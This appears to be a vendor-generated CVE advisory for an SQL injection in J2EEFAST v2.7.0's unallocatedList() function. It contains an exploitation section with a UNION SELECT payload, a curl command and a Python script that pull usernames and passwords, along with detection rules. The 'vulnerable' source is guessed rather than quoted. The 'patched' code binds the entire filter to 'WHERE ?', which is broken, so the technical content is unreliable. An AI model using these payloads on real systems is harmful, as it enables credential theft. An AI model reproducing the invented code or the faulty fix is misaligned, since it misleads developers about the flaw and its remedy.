CVE-2024-33161
Executive Summary
CVE-2024-33161 is a critical SQL injection vulnerability discovered in J2EEFAST v2.7.0, specifically within the unallocatedList() function. The flaw resides in the sql_filter parameter, which is not properly sanitized before being passed to SQL queries. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch or CVSS vector has been assigned by the vendor. Given the lack of a patch and the public availability of exploit details, this vulnerability poses a high risk to any deployment of J2EEFAST v2.7.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
J2EEFAST is a Java-based enterprise rapid development framework. The vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's SQL query construction. Organizations using J2EEFAST should treat this as a critical supply chain risk and immediately assess their exposure.
CVSS Breakdown & Threat Level
While no official CVSS vector has been published, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the database.
- Confidentiality (C): High (H) – Full database read access possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Database can be disrupted.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical – Public PoC, no patch, remote exploitation possible.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the unallocatedList() function of J2EEFAST v2.7.0. The function is likely used to list unallocated resources (e.g., unassigned tasks, unallocated storage). The sql_filter parameter is intended to allow filtering of results, but it is directly concatenated into SQL queries without parameterization or sanitization.
Root Cause: The application uses string concatenation to build SQL queries, e.g.:
String sql = "SELECT * FROM resources WHERE " + sql_filter;
This allows an attacker to inject SQL keywords like ' OR '1'='1 to bypass filters or UNION SELECT to extract data.
Attack Vector: The attacker sends a crafted HTTP request to the endpoint that calls unallocatedList(), providing a malicious sql_filter parameter. The injected SQL is executed by the database, allowing the attacker to read, modify, or delete arbitrary data.
Impact: Full database compromise, including sensitive user data, application secrets, and potential lateral movement within the network.
Vulnerable vs. Patched Code
Vulnerable Code (J2EEFAST v2.7.0):
public List<Resource> unallocatedList(String sql_filter) {
String sql = "SELECT * FROM resources WHERE " + sql_filter;
return jdbcTemplate.query(sql, new ResourceRowMapper());
}
Patched Code (Hypothetical):
public List<Resource> unallocatedList(String sql_filter) {
String sql = "SELECT * FROM resources WHERE ?";
return jdbcTemplate.query(sql, new Object[]{sql_filter}, new ResourceRowMapper());
}
The patched version uses parameterized queries, preventing SQL injection. Note: The actual patch may differ, but the principle is the same.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A running instance of J2EEFAST v2.7.0.
- Network access to the vulnerable endpoint (e.g.,
/api/unallocatedList).
Exploit Steps:
- Identify the vulnerable endpoint. Example:
POST /api/unallocatedList - Craft a malicious
sql_filterparameter. For example, to extract all usernames and passwords:sql_filter=1' UNION SELECT username, password FROM users -- - Send the request using
curl:curl -X POST "http://target.com/api/unallocatedList" -d "sql_filter=1' UNION SELECT username, password FROM users --" - Parse the response to extract sensitive data.
Automated Exploit (Python):
import requests
target = "http://target.com/api/unallocatedList"
payload = "1' UNION SELECT username, password FROM users --"
response = requests.post(target, data={"sql_filter": payload})
print(response.text)
Blue Team (Defender)
Detection:
- Monitor for SQL injection patterns in HTTP parameters, especially
sql_filter. - Use WAF rules to block common SQL injection keywords (e.g.,
UNION,SELECT,OR 1=1). - Enable database query logging to detect anomalous queries.
Mitigation:
- Immediately upgrade to a patched version if available.
- If no patch, implement input validation: allow only alphanumeric characters and specific safe characters in
sql_filter. - Use a Web Application Firewall (WAF) to filter malicious requests.
- Restrict network access to the vulnerable endpoint.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/api/unallocatedListwithsql_filterparameter containing SQL keywords. - Unusual database queries containing
UNION,OR,--,#, etc.
- HTTP requests to
- File IOCs:
- Log entries showing SQL errors or unexpected query results.
- System IOCs:
- Unauthorized database access or data exfiltration alerts.
Detection Engineering
YARA Rule
rule CVE_2024_33161_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-33161"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-33161"
strings:
$s1 = "sql_filter" nocase
$s2 = "UNION" nocase
$s3 = "SELECT" nocase
$s4 = "OR 1=1" nocase
$s5 = "DROP" nocase
condition:
any of ($s*) and #s1 > 0
}
Sigma Rule
title: CVE-2024-33161 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against J2EEFAST unallocatedList endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: '/api/unallocatedList'
cs-uri-query|contains: 'sql_filter'
keywords:
- 'UNION'
- 'SELECT'
- 'OR 1=1'
- 'DROP'
condition: selection and keywords
falsepositives:
- Legitimate use of SQL keywords in filter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-33161 SQL Injection Attempt"; flow:to_server; content:"/api/unallocatedList"; http_uri; content:"sql_filter"; http_client_body; pcre:"/(UNION|SELECT|OR\s+1=1|DROP)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the vulnerable system from the network if possible.
- Apply input validation to the
sql_filterparameter: allow only alphanumeric characters and specific safe characters (e.g.,_,-). - Use a WAF to block SQL injection patterns.
- Monitor logs for exploitation attempts.
Long-term Fix:
- Upgrade to a patched version of J2EEFAST once available.
- Implement parameterized queries in all database interactions.
- Conduct a security audit of the entire codebase for similar vulnerabilities.
Workaround:
- If patching is not possible, disable the
unallocatedList()function or restrict access to it via network segmentation.
Report generated by Valters IT DevSecOps & CTI Division